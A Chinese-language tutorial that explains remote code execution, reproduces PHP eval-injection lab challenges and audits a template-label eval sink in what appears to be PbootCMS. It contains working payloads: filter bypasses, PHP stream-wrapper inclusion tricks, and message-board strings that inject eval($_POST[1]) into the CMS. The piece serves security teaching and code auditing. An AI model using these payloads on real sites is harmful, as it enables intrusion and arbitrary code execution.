解密RCE漏洞:原理剖析、复现与代码审计实战

在网络安全领域,远程代码执行(RCE)漏洞因其严重性和破坏力而备受关注。RCE漏洞允许攻击者在目标系统上执行任意代码,从而掌控整个系统,带来极大的安全风险。理解RCE漏洞的工作原理,并掌握其复现与代码审计技巧,对于提升系统安全性至关重要。

本文将深入剖析RCE漏洞的原理,展示如何在实际环境中复现该漏洞,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开发者,都能从中获得实用的知识和技能。让我们一起解密RCE漏洞,提升我们的安全防护能力。

概念

  1. 远程代码执行(RCE)漏洞是一种严重的安全漏洞,它允许攻击者在目标系统上远程执行任意代码。通过利用RCE漏洞,攻击者可以完全控制受害系统,执行恶意操作,如窃取敏感数据、安装恶意软件、破坏系统功能等。RCE漏洞通常存在于处理用户输入的代码中,攻击者通过注入恶意输入并诱使系统执行,从而达到控制目标系统的目的。这类漏洞的利用不仅对系统安全构成重大威胁,而且可能导致严重的经济损失和数据泄露,因此识别和修复RCE漏洞对确保系统安全至关重要。

利用函数

复制代码
  ##### php

  1. eval(),assert(),preg_replace(),call_user_func(),call_user_func_array(),array_map(),system,shell_exec,popen,passthru,proc_open等
复制代码
  ##### python

  1. eval exec subprocess os.system commands
复制代码
  ##### java

  1. java中没有类似php中的eval函数这种直接可以将字符串转化为代码执行函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如OGNL,SpEL,MVEL等

复现

复制代码
  ##### 基本使用

  1. 源码

     ```python
      <?php
     error_reporting(0);          //排除错误
     if(isset($_GET['c'])){       //get传参不为空,执行if语句
         $c = $_GET['c'];         //get传参,赋值给变量c
         if(!preg_match("/flag/i", $c)){   //过滤flag
             eval($c);            //执行c表达式
         }

     }else{
         highlight_file(__FILE__);
     }

     payload:
     ?c=system('tac fla*.php');
     ?c=echo shell_exec('tac fla*');
     ?c=`cp fla*.ph* 2.txt`;//再访问2.txt即可
     ```
复制代码
  ##### 参数逃逸

  1. 源码

     ```python
     <?php
     error_reporting(0);
     if(isset($_GET['c'])){
         $c = $_GET['c'];
         if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
             eval($c);
         }

     }else{
         highlight_file(__FILE__);
     }
     ?>  
     payload:
     ?c=eval($_GET[1]);&1=phpinfo();
     ```

  2. ![](https://img-blog.csdnimg.cn/img_convert/dc683e6778df60b7306d1431f88b9c8e.png)
复制代码
  ##### 伪协议

  1. 源码同上

     ```python
     payload:
     ?c=include$_GET[a]?>&a=data://text/pain,<?=system('tac flag.php');?>

     payload2
     get:?c=include$_GET[a]?>&a=php://input
     post:<?php system('tac flag.php');?>

     payload3
     ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
     ```

  2. ![](https://img-blog.csdnimg.cn/img_convert/05b3644ff9b9fd8f6d41ac57362db132.png)

  3. ![](https://img-blog.csdnimg.cn/img_convert/890d172ec2f9c8618734de4e3a053c57.png)

  4. ![](https://img-blog.csdnimg.cn/img_convert/1f85174d7df7c412eacb19d68ae1eb2f.png)

代码审计

靶场搭建
  1. 靶场链接:https://pan.baidu.com/s/1H1lxpx8KfoeKkOB-gRt4aQ?pwd=cong
  2. 下载靶场,在config.php文件中填入授权码,安装靶场
流程
  1. 导入文件,搜索常用的命令执行函数eval

  2. 看到eval的来源变量matches

  3. 本文搜索matches的数据来源,来源于parserSiteLabel函数

  4. 全局搜索parserSiteLabel函数,看到parserCommom函数

  5. 全局搜索parserCommom函数,到达AboutController.php

    1. 名称与网站对应关系
  6. 有前端与后端结合可知,前端的留言板是在AboutController.php上的

  7. 好了,找了怎么久终于终于找到功能点了,现在回到最初的eval函数,开始绕过

    1. 代码

      python 复制代码
       public function parserIfLabel($content)
          {
              $pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
              $pattern2 = '/pboot:([0-9])+if/';
              if (preg_match_all($pattern, $content, $matches)) {
                  $count = count($matches[0]);
                  for ($i = 0; $i < $count; $i ++) {
                      $flag = '';
                      $out_html = '';
                      // 对于无参数函数不执行解析工作
                      if (preg_match('/[\w]+\(\)/', $matches[1][$i])) {
                          continue;
                      }
                      eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
                      if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else
                          switch ($flag) {
                              case 'if': // 条件为真
                                  if (isset($matches2[1])) {
                                      $out_html = $matches2[1];
                                  }
                                  break;
                              case 'else': // 条件为假
                                  if (isset($matches2[2])) {
                                      $out_html = $matches2[2];
                                  }
                                  break;
                          }
                      } elseif ($flag == 'if') {
                          $out_html = $matches[2][$i];
                      }
      
                      // 无限极嵌套解析
                      if (preg_match($pattern2, $out_html, $matches3)) {
                          $out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);
                          $out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);
                          $out_html = $this->parserIfLabel($out_html);
                      }
      
                      // 执行替换
                      $content = str_replace($matches[0][$i], $out_html, $content);
                  }
              }
      payload:
      留言:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
      
      payload2:
      留言:{pboot:if(eval($_REQUEST[3]));//)})}}{/pboot:if}&3=phpinfo();
      //记得要在后台把状态打开,不然无回显,头疼!!!!

通过本次学习,我们不仅深入了解了RCE漏洞的原理,还掌握了复现该漏洞的具体步骤和代码审计的方法。安全防护不仅是技术问题,更是一种意识和态度。通过对RCE漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据安全。

在信息安全的道路上,没有终点。希望本文能为您在安全防护方面提供有价值的指导和帮助,激发您对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢您的阅读,期待您的反馈与分享!

相关推荐
漏洞谷1 天前
白帽子为什么几乎都绕不开 httpx:一款 HTTP 资产探测工具的技术价值
web安全·漏洞挖掘·安全工具
用户962377954484 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主5 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954487 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954488 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star8 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954488 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher9 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全